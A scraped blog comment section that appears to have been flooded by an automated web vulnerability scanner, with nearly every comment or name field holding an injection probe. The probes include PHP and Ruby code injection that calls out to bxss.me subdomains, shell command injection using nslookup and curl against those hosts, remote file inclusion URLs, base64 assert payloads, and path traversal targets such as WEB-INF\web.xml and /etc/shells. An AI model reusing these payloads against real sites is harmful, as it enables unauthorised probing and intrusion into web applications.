WEB-INF\web.xml

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

'.gethostbyname(lc('hitfu'.'diyapcsq374fa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(75).chr(113).chr(65).' commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

".gethostbyname(lc("hitsw"."fsubkaumdc292.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(68).chr(109).chr(77)." commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

) commented on December 12th, 2023 at 6:51 AM
555

HttP://bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 6:51 AM
555

!(()&&!|*|*| commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

^(#$!@#$)(()))****** commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg|echo czlgoi$()\ jcxbqj\nz^xyu||a #' |echo czlgoi$()\ jcxbqj\nz^xyu||a #|" |echo czlgoi$()\ jcxbqj\nz^xyu||a # commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
'.gethostbyname(lc('hitlj'.'wsgchhroe8556.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(65).chr(120).chr(69).'

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
)

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg commented on December 12th, 2023 at 6:51 AM
555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg commented on December 12th, 2023 at 6:51 AM
555

(nslookup -q=cname hitvwyqdvrual4cf7a.bxss.me||curl hitvwyqdvrual4cf7a.bxss.me)) commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
555

|(nslookup -q=cname hityzeekfkzskb5a6d.bxss.me||curl hityzeekfkzskb5a6d.bxss.me) commented on December 12th, 2023 at 6:51 AM
555

fKxorhrg commented on December 12th, 2023 at 6:51 AM
".gethostbyname(lc("hitdf"."dwybhgmh8c733.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(70).chr(106).chr(89)."

fKxorhrg commented on December 12th, 2023 at 6:52 AM
!(()&&!|*|*|

fKxorhrg commented on December 12th, 2023 at 6:52 AM
555

fKxorhrg commented on December 12th, 2023 at 6:52 AM
HttP://bxss.me/t/xss.html?%00

fKxorhrg commented on December 12th, 2023 at 6:52 AM
bxss.me/t/xss.html?%00

fKxorhrg commented on December 12th, 2023 at 6:52 AM
555

Http://bxss.me/t/fit.txt commented on December 12th, 2023 at 6:52 AM
555

fKxorhrg commented on December 12th, 2023 at 6:52 AM
^(#$!@#$)(()))******

fKxorhrg commented on December 12th, 2023 at 6:52 AM
555

fKxorhrg commented on December 12th, 2023 at 6:52 AM
echo mgeiyn$()\ idwbrs\nz^xyu||a #' &echo mgeiyn$()\ idwbrs\nz^xyu||a #|" &echo mgeiyn$()\ idwbrs\nz^xyu||a #

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); commented on December 12th, 2023 at 6:52 AM
555

';print(md5(31337));$a=' commented on December 12th, 2023 at 6:52 AM
555

fKxorhrg commented on December 12th, 2023 at 6:52 AM
555

"+"A".concat(70-3).concat(22*4).concat(108).concat(79).concat(106).concat(84)+(require"socket" Socket.gethostbyname("hitbq"+"wlgrsrom36589.bxss.me.")[3].to_s)+" commented on December 12th, 2023 at 6:52 AM
555

'+'A'.concat(70-3).concat(22*4).concat(104).concat(67).concat(105).concat(79)+(require'socket' Socket.gethostbyname('hitbm'+'akssrbcaaf152.bxss.me.')[3].to_s)+' commented on December 12th, 2023 at 6:52 AM
555

fKxorhrg commented on December 12th, 2023 at 6:52 AM
"+"A".concat(70-3).concat(22*4).concat(114).concat(77).concat(120).concat(89)+(require"socket"
Socket.gethostbyname("hitrr"+"cyuktbji91da6.bxss.me.")[3].to_s)+"

";print(md5(31337));$a=" commented on December 12th, 2023 at 6:52 AM
555

${@print(md5(31337))} commented on December 12th, 2023 at 6:53 AM
555

fKxorhrg commented on December 12th, 2023 at 6:53 AM
555

http://bxss.me/t/fit.txt?.jpg commented on December 12th, 2023 at 6:53 AM
555

fKxorhrg commented on December 12th, 2023 at 6:53 AM
555

fKxorhrg commented on December 12th, 2023 at 6:53 AM
&echo xluirx$()\ bacqoz\nz^xyu||a #' &echo xluirx$()\ bacqoz\nz^xyu||a #|" &echo xluirx$()\ bacqoz\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 6:53 AM
555

fKxorhrg commented on December 12th, 2023 at 6:53 AM
555&echo wismet$()\ gsgglp\nz^xyu||a #' &echo wismet$()\ gsgglp\nz^xyu||a #|" &echo wismet$()\ gsgglp\nz^xyu||a #

fKxorhrg commented on December 12th, 2023 at 6:53 AM
555

${@print(md5(31337))}\ commented on December 12th, 2023 at 6:53 AM
555

/etc/shells commented on December 12th, 2023 at 6:53 AM
555

fKxorhrg commented on December 12th, 2023 at 6:53 AM
555